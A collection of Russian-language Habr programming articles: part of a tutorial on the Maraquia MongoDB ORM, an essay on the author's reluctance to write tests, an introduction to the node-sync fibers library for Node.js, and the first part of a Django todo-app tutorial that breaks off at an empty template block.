В БД появятся две коллекции `Pet` и `Owner` с записями:
```
{
"_id": "5a...1f44",
"name": "Tatoshka"
}
```
и
```
{
"_id": "5a...1f43",
"name": "Dmitry",
"pets": ["5a...1f44"]
}
```
Метод `save` был вызван только на модели `owner`, Maraquia как и положено сама позаботилась о сохранении второго документа.
Усложним пример, теперь отношение many-to-many и ссылки в обе стороны:
```
@Model({
collectionName: 'User'
})
class User extends BaseModel {
@Field() name: string | null;
@Field(() => Group) groups: Promise | null>;
}
@Model({
collectionName: 'Group'
})
class Group extends BaseModel {
@Field() name: string | null;
@Field(() => User) users: Promise | null>;
}
let user1 = new User({
name: 'Dmitry'
});
let user2 = new User({
name: 'Tatoshka'
});
let group1 = new Group({
name: 'Admins',
users: [user1]
});
let group2 = new Group({
name: 'Moderators',
users: [user1, user2]
});
user1.groups = [group1, group2] as any;
user2.groups = [group2] as any;
await group1.save();
```
В БД появится коллекция `User` с записями:
```
{
"_id": "5a...c56f",
"name": "Dmitry",
"groups": ["5a...c56e", "5a...c570"]
}
{
"_id": "5a...c571",
"name": "Tatoshka",
"groups": ["5a...c570"]
}
```
и коллекция `Group` с записями:
```
{
"_id": "5a...c56e",
"name": "Admins",
"users": ["5a...c56f"]
}
{
"_id": "5a...c570",
"name": "Moderators",
"users": ["5a...c56f", "5a...c571"]
}
```
Вы, наверное, уже заметили отсутствие декораторов с именами вроде `hasOne`, `hasMany`, `belongsTo` как это обычно принято для ORM. Maraquia справляется без этой дополнительной информации, hasOne или hasMany определяется значением, массив — значит hasMany. А встроенный документ или внешний (сохраняется в отдельной коллекции) определяется наличием в его схеме заполненного `collectionName`. Например, если в первом примере закомментировать строку `collectionName: 'Pet'` и вновь запустить его, то запись появится только в коллекции `Owner` и будет выглядеть так:
```
{
"_id": "5b...ec43",
"name": "Dmitry",
"pets": [{
"name":"Tatoshka"
}]
}
```
Кроме того тип поля `pets` перестаёт быть промисом.
То есть с помощью Maraquia можно также удобно работать и со встраиваемыми документами.
### Чтение из БД
Попробуем прочитать из базы что-то из ранее сохранённого:
```
let user = User.findOne({ name: 'Dmitry' });
console.log(user instanceof User); // true
console.log(user.name); // 'Dmitry'
console.log(await user.groups); // [Group { name: 'Admins', ... }, Group { name: 'Moderators', ... }]
```
При чтении поля `groups` было использовано ключевое слово `await` — внешние документы достаются из базы лениво при первом чтении соответствующего поля.
Но что если необходимо иметь доступ к идентификаторам хранящимся в поле без вытаскивания соответствующих им документов из БД, но при этом опционально может понадобиться и вытащить их? Имя поля в модели соответствует имени поля в документе, но используя опцию `dbFieldName` можно изменить это соответствие. То есть определив два поля в модели ссылающихся на одно поле в документе и не указав тип для одного из них можно решить эту проблему:
```
@Model({
collectionName: 'Group'
})
class Group extends BaseModel {
@Field({ dbFieldName: 'users' })
readonly userIds: Array | null; // здесь будут идентификаторы
@Field(() => User)
users: Promise | null>; // а здесь инстансы пользователей по идентификаторам
}
```
### Удаление документа
Метод `remove` удаляет соответствующий документ из БД. Maraquia не знает где есть ссылки на него и здесь программисту необходимо поработать самому:
```
@Model({
collectionName: 'User'
})
class User extends BaseModel {
@Field() name: string | null;
@Field({ dbFieldName: 'groups' })
groupIds: Array | null;
@Field(() => Group)
groups: Promise | null>;
}
@Model({
collectionName: 'Group'
})
class Group extends BaseModel {
@Field() name: string | null;
@Field({ dbFieldName: 'users' })
userIds: Array | null;
@Field(() => User)
users: Promise | null>;
}
let user = (await User.findOne({ name: 'Tatoshka' }))!;
// удаляем ссылки на документ
for (let group of await Group.find({ \_id: { $in: user.groupIds } })) {
group.userIds = group.userIds!.filter(
userId => userId.toHexString() != user.\_id!.toHexString()
);
await group.save();
}
// удаляем сам документ
await user.remove();
```
В данном примере массив `userIds` был заменён на новый, созданный методом `Array#filter`, но можно менять существующий массив, Maraquia находит и такие изменения. То есть можно было так:
```
group.userIds!.splice(
group.userIds!.findIndex(userId => userId.toHexString() == user._id!.toHexString()),
1
);
```
### Валидация
Для валидации поля необходимо добавить свойство `validate` в его опции:
```
@Model({
collectionName: 'User'
})
class User extends BaseModel {
@Field({
validate: value => typeof value == 'string' && value.trim().length >= 2
})
name: string | null;
@Field({
validate: value => {
// При false сообщение об ошибке сформируется автоматически:
return typeof value == 'number' && value >= 0;
// Или можно задать его самостоятельно:
if (typeof value != 'number' || value < 0) {
return 'Что-то пошло не так';
// или так:
return new TypeError('Что-то пошло не так');
// или так:
throw new TypeError('Что-то пошло не так');
}
}
})
age: number | null;
@Field(() => Account, {
validate: value => !!value
})
/*
тоже самое что и:
@Field({
type: () => Account,
validate: value => !!value
})
*/
account: Promise;
}
```
Так же можно передавать объекты создаваемые библиотекой [joi](https://www.npmjs.com/package/joi):
```
import * as joi from 'joi';
@Model({
collectionName: 'User'
})
class User extends BaseModel {
@Field({
validate: joi.string().min(2)
})
name: string | null;
@Field({
validate: joi.number().min(0)
})
age: number | null;
}
```
### Хуки
Следующие методы срабатывают согласно их названию: `beforeSave`, `afterSave`, `beforeRemove`, `afterRemove`.
### Использование с javascript
Typescript — это здорово, но иногда надо без него. Для этого вместо объекта передаваемого декоратору `Model` необходимо определить статическое поле `$schema`, в котором есть также поле `fields`:
```
const { BaseModel } = require('maraquia');
class Pet extends BaseModel {
}
Pet.$schema = {
collectionName: 'Pet',
fields: {
name: {}
}
};
class Owner extends BaseModel {
}
Owner.$schema = {
collectionName: 'Owner',
fields: {
name: {},
pets: { type: () => Pet }
}
};
let pet = new Pet({
name: 'Tatoshka'
});
let owner = new Owner({
name: 'Dmitry',
pets: [pet]
});
await owner.save();
```
Запись в поля делается через метод `setField`:
```
pet.setField('name', 'Tosha');
```
А чтение полей с внешними документами через метод `fetchField`:
```
await owner.fetchField('pets');
```
Остальные поля читаются как обычно.
Производительность
------------------
Я написал парочку простых бенчмарков для сравнения производительности с Mongoose и Mongorito. В первом просто создаются экземпляры модели. Для всех троих это выглядит одинаково:
```
let cat = new Cat({
name: 'Tatoshka',
age: 1,
gender: '1',
email: 'tatoshka@email.ru',
phone: '+79991234567'
});
```
Результат (больше — лучше):
```
Mongoose x 41,382 ops/sec ±7.38% (78 runs sampled)
Mongorito x 28,649 ops/sec ±3.20% (85 runs sampled)
Maraquia x 1,312,816 ops/sec ±1.70% (87 runs sampled)
```
Во втором тоже самое, но с сохранением в БД. Результат:
```
Mongoose x 1,125 ops/sec ±4.59% (69 runs sampled)
Mongorito x 1,596 ops/sec ±4.08% (69 runs sampled)
Maraquia x 1,143 ops/sec ±3.39% (73 runs sampled)
```
Исходники в папке [perf](https://github.com/Riim/Maraquia/tree/master/perf).
Футер
-----
Надеюсь кому-то библиотека окажется полезна, она пока ещё не применялась на реальных проектах, так что используйте на свой страх и риск. Если что-то работает не так как ожидается, [создавайте issue на github](https://github.com/Riim/Maraquia/issues/new).
В основном я занимаюсь front-end разработкой и вряд ли хорошо разбираюсь в базах данных, так что если где-то написал чушь, то прошу понять и простить :).
Благодарю за внимание. | https://habr.com/ru/post/358972/ | null | ru | null |
# Я хочу писать тесты
Я всегда с интересом читаю статьи про тестирование кода. И я очень хочу использовать тесты в своих проектах.
Но я не могу. Не могу найти для себя стимул.
Да, тесты из примеров пишутся практически моментально. Но нужно ли писать тест для функции
```
def get_word():
return 'word'
```
вопрос довольно сложный. Написать его не составит проблему, но и пользы от него ощутимой не будет.
Писать такой тест для получения радости от +1 выполненный тест? Не вижу смысла.
Для увеличения покрытия тестами? Не вижу смысла.
Просто так?…
С тестами всё хорошо, пока они из обучающих статей. Но тесты нужны для более сложных операций:
Например, на одном проекте используется парсинг других сайтов. С них берется текстовая информация и картинки в большом количестве, рассылаются отчеты о проделанной работе и т.д.
Вот для этого процесса хотелось бы написать тесты.
Но нет смысла писать маленькие тесты для каждой функции. Они итак работают хорошо.
Я понимаю, что предыдущая строка вызывает негодование. Но в реальности функция, которая, например, скачивает изображение и сохраняет его в хранилище — элементарна, и в ней не будет ошибок (точнее эти ошибки слишком явные). Ошибки появляются при использовании этой функции (хранилище не доступно, процессор изображений не сработал и т.д.).
Причем тестирование всех этих функций по отдельности не говорит ни о чем — процессор отлично отрабатывает тысячу изображений, хранилище выдерживает большее количество операций, чем требуется. Всё это, конечно проверяется в самой функции, но это тестов не касается.
Надо проверять взаимодействие всех функций.
Это то, чего я хочу. Запустить тесты и быть уверенным, что довольно сложный распараллеленный процесс выполняется правильно.
Но для написания теста для всего этого процесса (создали дочерние процессы, скачали страницы, нашли нужную информацию, скачали картинки, преобразовали картинки, валидировали данные, сохранили данные, проверили данные на целостность, сохранили отчеты, и т.д.) нужно потратить кучу времени.
Ошибка может случиться только при взаимодействии функций. Причем тестовые данные абсолютно не проверяют эти уязвимости (что на некоторых сайтах в jpeg файлах хранится bmp протестировать можно, но зачем, если в функции всё равно надо будет делать исключение и оно будет работать?).
Можно создать огромные массивы тестовых данных для проверки этих ошибок, но и тут кроется проблема. Если ошибка один раз появилась, то мы просто исправляем функцию, зачем нам писать тест для этой ошибки? Её больше не будет!
Получается такая проблема:
Писать тесты хочется, но от них нет отдачи. Время на написание тратится. Проверять то, что уже работает нет смысла (исходя из опыта — мы не ломаем то, что уже работает. Ну вот как-то так повелось). Для каждого нового случая создать тест, исправить проблему, проверить? Какой смысл в этом двойном написании одного и того-же? Ошибка уже исправлена, написать тест, который охватит в разы больше, чем эта ошибка не получится, а проверка единичными проверочными данными из всех возможных не особо полезна. Количество возможных ошибок не снизится в разы. Максимум на проценты.
Да есть и ещё один немаловажный фактор: заказчики не поймут.
Я не могу сказать заказчику, что цена продукта будет выше, по причине написания тестов.
Я не могу поставить цену за проект выше, заказчик уйдет к конкурентам.
Я не могу не менять цену из-за тестов, хочется что-то заработать.
Заказчику плевать на тесты, на стабильность, на всё, кроме конечного результата. Ему не объяснить, что этот продукт с тестами будет лучше, чем без них, т.к. он будет более стабильным, масштабируемым и т.д. Ему плевать на это. Ему нужен результат. Быстро. И как можно дешевле.
Конечно, я надеюсь, это касается только нашей области — веб-программирование. Для систем связанных с денежным оборотом, систем, от которых зависят жизни людей и т.д. тесты обязательны, и там заказчики будут понимать, что они нужны. Я верю в это. | https://habr.com/ru/post/177799/ | null | ru | null |
# node-sync — псевдо-синхронное программирование на nodejs с использованием fibers
Надавно была опубликована библиотека [node-fibers](https://github.com/laverdet/node-fibers), вносящая в nodejs и v8 поддержку замечательного [fiber](http://en.wikipedia.org/wiki/Fiber_(computer_science))/[coroutine](http://en.wikipedia.org/wiki/Coroutine) — тоесть, возможность использовать yield.
Параллельно, на nodejs groups прошел [целый](http://groups.google.com/group/nodejs/browse_thread/thread/c334947643c80968) [ряд](http://groups.google.com/group/nodejs/browse_thread/thread/4db373ac0d8b18c) [обсуждений](http://groups.google.com/group/nodejs/browse_thread/thread/a3cbadf402823733) на тему всевозможных вариантов упрощения асинхронного синтаксиса.
Вдохновившись возможностями, которые дают «волокна», я написал библиотеку [node-sync](https://github.com/0ctave/node-sync), которая делает разработку в асинхронном окружении nodejs значительно удобнее, а код — нагляднее.
##### Синопсис
```
// Обычная асинхронная функция, вызывает callback с результатом через 1 сек
function someAsyncFunction(a, b, callback) {
setTimeout(function(){
callback(null, a + b);
}, 1000)
}
// Вызываем эту функцию синхронно, используя Function.prototype.sync(),
// работающий по тому же принципу, что и call()
// на этом моменте текуший поток "зависнет" на секунду, пока функция не вернет значение
var result = someAsyncFunction.sync(null, 2, 3);
console.log(result); // "5" через 1 секунду
```
#### Философия
Главная идея в том, что метод Function.prototype.sync() встроен в любую функцию по умолчанию, а так же, его интерфейс соответствует всем давно известному call(). Подключив библиотеку sync, мы можем вызвать любую асинхронную функцию синхронно, без написания дополнительного кода.
*Псевдо-синхронное* программирование — потому, что фактически, Function.prototype.sync() не блокирует весь процесс, а только текущий поток. Тело самой функции выполняется асинхронно, мы просто дожидаемся результата (используя «yield»). Но при этом, код читается «синхронно».
node-sync решает для меня три важных вопроса:
1. Освобождение от бесконечной индентации с коллбэками (избавляет от «спагетти-кода»)
2. Корректная обработка ошибок
3. Интеграция с существующим кодом/библиотеками без необходимости рефакторинга
Уже больше месяца я использую эту node-sync в своем приложении, переход был незаметным — я просто начал писать новый код на «псевдо-синхронный» манер, старый код остался прежним.
#### Блокировка
Прелесть «волокон» состоит в том, что при ожидании (yield) блокируется только текущий поток, а не весь процесс. Наглядный пример блокировки всего процесса — fs.readFileSync и другие псевдо-синхронные функции.
Используя «волокна» можно избежать глобальной блокировки и, при этом, прочитать файл синхронно:
```
var fs = require('fs'),
Sync = require('sync');
// запускаем новый поток
Sync(function(){ // тело потока -->
// синхронно читаем файл, используя Function.prototype.sync()
var source = fs.readFile.sync(null, __filename);
// выводим содержимое текущего файла
console.log(String(source));
})
```
Отличие этого кода в том, что пока мы ожидаем ответ от fs.readFile.sync(), приложение спокойно продолжает выполнять другие операции.
#### Обработка ошибок
Всем, кто хоть раз пробовал написать на nodejs что-то серьезнее, чем «hello world app», наверняка знакома рутина с обработкой ошибок. Если следовать официальному дизайну callback-функций, первым агрументом всегда должна быть возвращена ошибка. При этом, использовать throw в асинхронном окружении чревато падением всего event-loop.
Весьма [реальный](https://github.com/christkv/node-mongodb-native) код на nodejs с корректной обработкой ошибок:
```
// Функция должна что-то сделать и вернуть результат,
// при этом, корректно обработать ошибку в случае неудачи
function asyncFunction(callback)
{
var p_client = new Db('test', new Server("127.0.0.1", 27017, {}));
p_client.open(function(err, p_client) {
if (err) return callback(err); // <-- рутина
p_client.createCollection('test_custom_key', function(err, collection) {
if (err) return callback(err); // <-- рутина
collection.insert({'a':1}, function(err, docs) {
if (err) return callback(err); // <-- рутина
collection.find({'_id':new ObjectID("aaaaaaaaaaaa")}, function(err, cursor) {
if (err) return callback(err); // <-- рутина
cursor.toArray(function(err, items) {
if (err) return callback(err); // <-- рутина
// результат = items
callback(null, items);
});
});
});
});
});
}
```
Такая-же функция, только использующая sync. Результат ее работы идентичен функции выше, учитывая обработку ошибок. Если какая-то из вызываемых функций вернет ошибку в авто-callback, который передает ей sync(), то эта ошибка прозрачно попадет в результирующий callback, который мы указали потоку вторым аргументом.
```
function syncFunction(callback)
{
// запускаем поток
Sync(function(){
var p_client = new Db('test', new Server("127.0.0.1", 27017, {}));
p_client.open.sync(p_client);
var collection = p_client.createCollection.sync(p_client, 'test');
collection.insert.sync(collection, {'a' : 1});
var cursor = collection.find.sync(collection, {'_id':new ObjectID("aaaaaaaaaaaa"))
var items = cursor.toArray.sync(cursor);
// результат = items
return items;
}, callback) // <-- результат возвращаем в callback
}
```
Используя специальный метод Function.prototype.async(), эта функция может быть еще проще (работает аналогично функции выше):
```
var syncFunction = function()
{
var p_client = new Db('test', new Server("127.0.0.1", 27017, {}));
p_client.open.sync(p_client);
var collection = p_client.createCollection.sync(p_client, 'test');
collection.insert.sync(collection, {'a' : 1});
var cursor = collection.find.sync(collection, {'_id':new ObjectID("aaaaaaaaaaaa"))
var items = cursor.toArray.sync(cursor);
// результат = items
return items;
}.async() // <-- в этом месте мы превращаем ее в асинхронную функцию
```
#### Параллельность
Иногда, нам нужно выполнить несколько функций параллельно, при этом, дождаться всех результатов, и только тогда продолжить. Для этого существует Sync.Parallel:
```
var Sync = require('sync');
// Какая-то асинхронная функция, возвращает результат через секунду
function someAsyncFunction(a, b, callback) {
setTimeout(function(){
callback(null, a + b);
}, 1000)
}
// Новый поток
Sync(function(){
// Запускаем параллельно функцию с разными аргументами
// поток будет заблокирован до тех пор, пока не будут возвращены оба результата
var results = Sync.Parallel(function(callback){
someAsyncFunction(2, 2, callback());
someAsyncFunction(5, 5, callback());
});
console.log(results); // [ 4, 10 ]
// Ассоциативный вариант
var results = Sync.Parallel(function(callback){
someAsyncFunction(2, 2, callback('foo')); // assign the result to 'foo'
someAsyncFunction(5, 5, callback('bar')); // assign the result to 'bar'
});
console.log(results); // { foo: 4, bar: 10 }
})
```
На днях общался с господином [laverdet](https://github.com/laverdet) (создатель node-fibers для v8), и он предложил весьма интересную парадигму «будущего». Я добавил новый метод Function.prototype.future() — его тоже можно использовать для параллельности:
```
// Новый поток
Sync(function(){
// Запускаем someAsyncFunction, но не блокируем поток
var foo = someAsyncFunction.future(null, 2, 2);
var bar = someAsyncFunction.future(null, 5, 5);
// foo, bar - это билеты в будущее
console.log(foo); // { [Function: Future] result: [Getter], error: [Getter] }
// А вот теперь, дожидаемся значений от foo и bar
console.log(foo.result, bar.result); // 4 10 - ровно через секунду (не две)
})
```
#### Установка
`$ npm install sync
$ node-fibers my_file.js`
Имейте ввиду, что для поддержки fibers вам нужно использовать скрипт «node-fibers» вместо «node».
#### API
```
var Sync = require('sync');
// Новый поток, fn - функция-тело, результат не возвращается
Sync(fn)
// Новый поток, fn - функция-тело, результат/ошибка возвращается в callback
Sync(fn, callback)
// внутри используется инкрементальный callback()
Sync.Parallel(function(callback){
callback() // без аргумента (вернется массив)
callback('foo') // или ассоциативный ключ
})
// Вызывает функцию асинхронно и ждет результата/ошибки
// obj - контекст, остальные аргументы попадут по порядку в функцию
Function.prototype.sync(obj, arg1, arg2)
// Вызывает функцию асинхронно и не ждет результата, возвращая управление в контекст
// возвращает объект/функцию Future, у которой есть getter 'result'
// при попытке получения Future.result, поток будет заблокирован до тех пор, пока результат не будет получен
// obj - контекст, остальные аргументы попадут по порядку в функцию
Function.prototype.future(obj, arg1, arg2)
// Делает из любой синхронной функции - асинхронную
// возвращает функцию, которую можно вызвать асинхронно
// obj - контекст
Function.prototype.async(obj)
```
#### Резюме
Я и дальше намерен развивать это направление в nodejs, ибо мне оно кажется очень правильным. Буду рад, если кто-то из вас вдохновится этой идеей и [внесет свой вклад](https://github.com/0ctave/node-sync) в ее развитие.
Советую посмотреть довольно подробные [примеры](https://github.com/0ctave/node-sync/tree/master/examples) использования библиотеки.
Если вы намерены поучавствовать в разработке — форкайте, милости просим, только не забывайте про [тесты](https://github.com/0ctave/node-sync/tree/master/test).
Я так же добавил скрипт в [benchmarks](https://github.com/0ctave/node-sync/blob/master/benchmarks/simple.js). Если у кого-то появятся еще идеи, как можно протестировать скорость работы fibers, будет круто.
Хочу поблагодарить [egorF](https://habrahabr.ru/users/egorf/) за брейнсторминг, и за то, что вообще заразил меня темой fibers :)
Вам так же могут быть интересны [другие](https://github.com/lm1/node-fibers-promise) [библиотеки](https://github.com/lm1/node-fiberize), основанные на node-fibers. | https://habr.com/ru/post/116124/ | null | ru | null |
# Создаем Todo приложение c помощью Django. Часть 1
*И снова здравствуйте. В преддверии старта курса [«Web-разработчик на Python»](https://otus.pw/2ZBR/) наш внештатный автор подготовил интересный материал, которым с радостью делимся с вами.*
---
Джанго это мощный фреймворк для создания веб-приложений. Изначально Django был создан для того, чтобы быстро создавать, например, новостные сайты (или другие сайты, который нужно создавать максимально быстро). И после нативного PHP не покидает ощущение, что ты едешь на очень быстрой машине разработки. Чтобы посмотреть все его возможности для быстрой разработки, мы с вами попробуем создать простое Todo — приложение.
Начнем с формулировки краткого т.з. У нас будет небольшое веб-приложение с версткой на Bulma (да, я очень люблю Bulma. Возможно, когда-нибудь я сверну на Bootstrap или Picnic, но всему свое время). У нас (пока) нет авторизаций и пользователь может создавать, редактировать и удалять либо категорию дел, либо карточку todo, которая связана с какой-либо категорией, которую создал пользователь. Todo карточку или категорию можно удалить, поставив галочку на checkbox и нажав кнопку удалить.
### Основные концепции Django
Немного поговорим о Django. Django реализует архитектурный паттерн MVT (Модель Представление Шаблон), которая немного отличается от знакомого большинству MVC (Модель Представление Контроллер) на котором работает Ruby on Rails и Laravel.
**Модель (Model)** Модель в Django описывает схему данных в БД. С Django ORM, вы можете самостоятельно описывать поля и любые другие типы данных, и совершать миграции для упрощения разработки.
**Представление (View)** В представлении в Django вы задаете основную логику и алгоритмы приложения, получаете различные данные из базы данных или манипулируете ими. Представление обычно базируется на функциях request\response. Response представляет из себя обычно HTTP redirect, HTTP error(404), MimeTypes или какой-либо шаблон.
**Шаблон** Шаблон в Django это простой HTML код со специальным шаблонным языком Django. DTL (Django Template Language) — это язык, с помощью которого вы можете динамически менять содержимое страницы (к примеру, изменять имя пользователя на странице, в зависимости от того, как зовут авторизовавшегося пользователя).
**Настройки** Файл настроек в Django, в котором находятся все настройки вашего веб-приложения. Он включает в себя секретный ключ, папки с шаблонами, middlewares (которые отвечают, например за то, чтобы ваши приватные альбомы не увидели другие пользователи), подключение к базе данных, и много всего остального.
**Url** Файл настройки роутинга — примерно то же самое, что и в Angular или Laravel. Это связывает представление с url запросами.
**Страница Админа** Так как Django изначально был спроектирован для быстрого прототипирования и развертывания новостных сайтов, админка включена в комплект по умолчанию.
### Установка Python и Django
**Творческое отступление**Автор этой статьи (то есть я) кроме написания статей занимается еще и обучением основам питона детей. По долгу службы я ставил Python и его пакеты на достаточно большое количество разнообразных машин. И кроме переустановок питона, один раз для установки пакета глобально сработал даже даунгрейд версии языка. Да, так тоже бывает.
#### Версии Python
До последнего времени активно поддерживались и развивались две основные ветки Python: 2.7 и 3.x. Я буду использовать версию 3.7.3 в данной статье, но на самом деле это не так важно. Если вы правда хотите знать разницу между ними, есть специальная [вики](https://wiki.python.org/moin/Python2orPython3). С другой стороны, сейчас уже нет никакого смысла использовать Python версии 2.7 — обновление языка остановилось на 2.7.17 (если я правильно понимаю документацию на официальном сайте). Это означает, что есть смысл переводить проекты написанные на Python 2.7.x на новую ветку, а вот новые писать на 2 версии совсем бессмысленно.
### Инсталляция Python
Если вы работаете на Mac или Ubuntu — у вас уже скорее всего установлен Python, однако 2 версии. Python третьей версии придется скачивать отдельно, и вызывать его в командной строке вы сможете через python3. В любом случае, лучше всего скачать последний релиз [здесь](https://www.python.org/downloads/).
#### Создание своего виртуального окружения
На самом деле первое приложение на Django вы можете начать разрабатывать и не создавая свое виртуальное окружение, однако навык создания виртуального окружения может пригодится если вы, например, разрабатываете приложение с определенной версией библиотеки и не хотите устанавливать библиотеки глобально и замусоривать ваш system.
*Так как же использовать virtual env?*
1) Самый простой вариант. Вы можете скачать замечательный IDE от JET BRAINS PyCharm Community Edition [отсюда](https://www.jetbrains.com/ru-ru/pycharm/). После установки PyCharm создайте новый проект, и Pycharm по умолчанию предложит вам создать Virtual Env, в котором будет возможность установить нужную версию Django (или по умолчанию последнюю, которая на момент написания данной статьи 3.0.2):
```
pip3 install django
```
2) Чуть более хардкорный вариант:
А что, если вы хотите запустить Django в virtual env, к примеру, в любимой папке?
Во, первых, создаем папку, в которой мы будет творить:
```
mkdir myfirstdjango && cd myfirstdjango
```
Дальше вводим следующие команды для активации venv, где django\_env имя нашего виртуального окружения:
```
python3 -m venv django_env
source django_env/bin/activate
```
Далее наше виртуальное окружение активировалось. Можем поставить необходимые пакеты. В нашем случае это Django:
```
pip3 install django
```
Если вы захотите выключить виртуальное окружение, чтобы вернуться в ваш глобальный python (вернуться в контекст system), введите следующую команду:
```
deactivate
```
Хорошо, надеюсь с виртуальным окружением мы разобрались. Если возникли какие-то проблемы и дополнительные вопросы, полезные ссылочки можно найти [здесь](https://python-scripts.com/virtualenv) и [здесь](https://docs.python.org/3/library/venv.html) .
### Создание самого проекта
Допустим вы выбрали какой-то из способов создания своего виртуального окружения (или даже делаете все глобально, что же, никто не запрещает вам это делать). Теперь проходим в папку проекта и начинаем его создание:
```
django-admin startproject todo #создаем корневую папку вашего проекта
cd todo #проходим в нее
python manage.py startapp todolist #как бы подприложение todolist
python3 manage.py runserver 8100 #поднимаем сервер на нашем любимом незанятом порте, 8000 по умолчанию
```
Так, после того как Django открыл стартовую страницу, необходимо проинсталлировать наше приложение todolist в основное приложение. Открываем `settings.py` и добавляем в уже имеющийся список приложений наш собственный todolist:
```
INSTALLED_APPS = [
#предустановленные админки, аутентификации и остальное из коробки, не вижу смысла здесь перечислять
'todolist',
]
```
Следующим шагом будет связывание приложения с базой данных. Если базы данных — это не то, с чем вы хотите возиться, вам стоит воспользоваться решением по умолчанию — SQlite. Я же решил воспользоваться PostgreSQL — она популярна и классически связана с Django, кроме того, потом мы можем захотеть увеличить производительность приложения. Инструкций как устанавливать PostgreSQL на все операционные системы достаточно много. Я разрабатываю под MacOS и не без небольших танцев с бубном я поставил эту базу данных, скачав сам Postgres.app [отсюда](https://www.postgresql.org/download/) . Что касается интерфейсов для БД, то здесь я воспользовался [Postico](https://eggerapps.at/postico/) и пробной версии для разработки приложения нам вполне хватит (хотя в принципе можно обойтись и без неё, потому что все наше взаимодействие с базой данных будет построено через само веб-приложение и миграции). Кроме того, пришлось поставить *psycopg2* в виртуальное окружение проекта (без этого драйвера с БД ваше приложение работать не будет).
Дальше нужно настроить работу статики. По-прежнему редактируем файл `settings.py`, теперь в самом конце добавляем работу со статикой:
```
STATIC_URL = '/static/'
PROJECT_ROOT = os.path.dirname(os.path.abspath(__file__))
STATIC_ROOT = os.path.join(PROJECT_ROOT, 'static')
STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'
```
Для того, чтобы у вас заработала статика, проверьте что в списке *INSTALLED\_APPS* находился пакет, отвечающий за статику:
`django.contrib.staticfiles,` на тот случай, если произойдет ошибка.
И последнее в подготовительных работах, нам нужно ещё настроить базовую работу url в проекте:
```
from django.conf.urls import url
from django.contrib import admin
from todolist.views import todo
from todolist.views import category
from todolist.views import redirect_view
urlpatterns = [
url(r'$^', redirect_view ),
url(r'^admin/', admin.site.urls),
url(r'^todo/', todo, name="TodoList"),
url(r'^category/', category, name="Category"),
]
```
Я добавил редирект так как хочу, чтобы с дефолтной страницы *localhost* сразу переходил на подстраницу *category*(чтобы не дай бог пользователь не потерялся). Также у нас есть роутинг на две страницы: категорий и дел.
Итак, надеюсь ваше приложение не упало. Далее мы можем наконец-то переходить к созданию самого приложения:
#### Создание модели Todo и Категорий
Дальше приступим к созданию модели, которая будет базово взаимодействовать с нашей базой данных. Для создания модели открываем файл `models.py` в нашем todolist и начинаем творить. Начнем с того, что создадим таблицу категорий:
```
from django.utils import timezone #мы будем получать дату создания todo
from django.db import models
class Category(models.Model): # Таблица категория которая наследует models.Model
name = models.CharField(max_length=100) #varchar.Нам потребуется только имя категории
class Meta:
verbose_name = ("Category") # человекочитаемое имя объекта
verbose_name_plural = ("Categories") #человекочитаемое множественное имя для Категорий
def __str__(self):
return self.name # __str__ применяется для отображения объекта в интерфейсе
```
Отлично! Да, здесь у нас будет только две колонки в таблице Категорий: id и name. Дальше создадим таблицу для наших дел. Думаю, из комментариев все понятно:
```
class TodoList(models.Model):
title = models.CharField(max_length=250)
content = models.TextField(blank=True) #текстовое поле
created = models.DateField(default=timezone.now().strftime("%Y-%m-%d")) # дата создания
due_date = models.DateField(default=timezone.now().strftime("%Y-%m-%d")) #до какой даты нужно было сделать дело
category = models.ForeignKey(Category, default="general",on_delete=models.PROTECT) # foreignkey с помощью которой мы будем осуществлять связь с таблицей Категорий
class Meta: #используем вспомогательный класс мета для сортировки наших дел
ordering = ["-created"] #сортировка дел по времени их создания
def __str__(self):
return self.title
```
После того, как ваша модель будет готова, необходимо создать миграции:
```
python3 manage.py makemigrations
```
И потом запускаете сами миграции:
```
python3 manage.py migrate
```
#### Создание view
Откроем файл `view.py` в todolist и отредактируем его. Для начала добавим необходимые импорты и редирект с главной на category:
```
from django.shortcuts import render, redirect #для отображения и редиректа берем необходимые классы
from django.http import HttpResponse
from .models import TodoList, Category #не забываем наши модели
def redirect_view(request):
return redirect("/category") # редирект с главной на категории
```
Потом начинаем создание нашего дела. У экземпляра дела будут поля самого текста, даты, до которой должно быть закончено дело, категория дела, и объединенный контент:
```
def todo(request):
todos = TodoList.objects.all() #запрашиваем все объекты todo через менеджер объектов
categories = Category.objects.all() #так же получаем все Категории
```
После этого добавим функции добавления и удаления дел:
```
if request.method == "POST": #проверяем то что метод именно POST
if "Add" in request.POST: #проверяем метод добавления todo
title = request.POST["description"] #сам текст
date = str(request.POST["date"]) #дата, до которой должно быть закончено дело
category = request.POST["category_select"] #категория, которой может выбрать или создать пользователь.
content = title + " -- " + date + " " + category # полный склеенный контент
Todo = TodoList(title=title, content=content, due_date=date, category=Category.objects.get(name=category))
Todo.save() # сохранение нашего дела
return redirect("/todo") # перегрузка страницы (ну вот так у нас будет устроено очищение формы)
if "Delete" in request.POST: #если пользователь собирается удалить одно дело
checkedlist = request.POST.getlist('checkedbox') # берем список выделенные дел, которые мы собираемся удалить
for i in range(len(checkedlist)): #мне почему-то не нравится эта конструкция
todo = TodoList.objects.filter(id=int(checkedlist[i]))
todo.delete() #удаление дела
return render(request, "todo.html", {"todos": todos, "categories": categories})
```
С тудушками все. Дальше можем перейти к странице Категорий. Создаем функцию категорий, в которой у нас тоже будет функция добавления и удаления категории. Принципиально здесь ничего нового не будет, у нас так же здесь будет возможность добавления и удаления:
```
def category(request):
categories = Category.objects.all() #запрашиваем все объекты Категорий
if request.method == "POST": #проверяем что это метод POST
if "Add" in request.POST: #если собираемся добавить
name = request.POST["name"] #имя нашей категории
category = Category(name=name) #у нашей категории есть только имя
category.save() # сохранение нашей категории
return redirect("/category")
if "Delete" in request.POST: # проверяем есть ли удаление
check = request.POST.getlist('check') #немного изменил название массива в отличии от todo, что бы было меньше путаницы в коде
for i in range(len(check)):
try:
сateg = Category.objects.filter(id=int(check[i]))
сateg.delete() #удаление категории
except BaseException: # вне сомнения тут нужно нормально переписать обработку ошибок, но на первое время хватит и этого
return HttpResponse('Сначала удалите карточки с этими категориями)
=============================================
')
return render(request, "category.html", {"categories": categories})
```
На этом мы заканчиваем с файлом `view` и можем переходить к шаблонам:
#### Работа с шаблонами
Как вы помните, чтобы не писать css лишний раз, я воспользовался `bulma.css` для упрощения верстки. Т.к. наши страницы категорий и todo буду очень схожи, я создал три файла:
`base.html`, который будет включать в себя все одинаковое, что у нас есть на страницах, а в `category.html`, `todo.html` будут располагаются отличия:
Создаем `base.html` и редактируем его:
```
